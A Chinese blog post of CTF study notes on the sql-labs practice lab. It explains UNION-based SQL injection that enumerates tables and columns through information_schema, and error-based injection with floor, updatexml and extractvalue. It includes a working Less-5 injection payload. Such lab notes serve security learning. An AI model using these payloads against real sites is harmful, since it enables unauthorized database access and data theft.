ctf试炼笔记(定期编辑更新)

sql-labs试炼:

基础方法
1、有关union select:
判断注入位。然后
前提条件:有显示位(即有数据库展示数据的位置)

常用方法:
group_concat():一次性打出
语句中夹杂的limit:sql在查询时,经常会出现多行结果,用limit可以限定打出的结果,比如仅仅打出第一行,就使用limit 0,1,想打出查询结果的第二行和第四行,用limit 1,3

mysql的information_schema库内含数据库的许多信息:
综合以上一般注入可以用到:
①、group_concat(table_name) from INFORMATION_SCHEMA.tables where table_schema=database() #表示 + 一次性打出 + 当前数据库的所有的表名,from语句必须放在union select 后面。
②、group_concat(column_name) from INFORMATION_SCHEMA.columns where table_schema=database() #表示 + 一次性打出 + 当前数据库的所有的col(列)
③、select concat((select database())):显示当前数据库名字,
④、substr(str,int,int):截取str字符串,从int位开始,截取int位,这里是从1开始,第一个字母为1

sql报错盲注:

三种方式:floor(输出长度64位),updatexml(32位,且payload返回不是xml格式),extractvalue(32位))
以下为sqllabs less5(利用floor):
①、爆出当前数据库、用户名:([1]是为了凑够一行)
id=1' union select count(*),[1],concat((select database()), floor(rand(0)*2))as a from information_schema.columns group by a --+ 报错注入的例句,该句会爆出当前使用数据库的名称和一个1或者0的随机数:concat()连接函数,

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值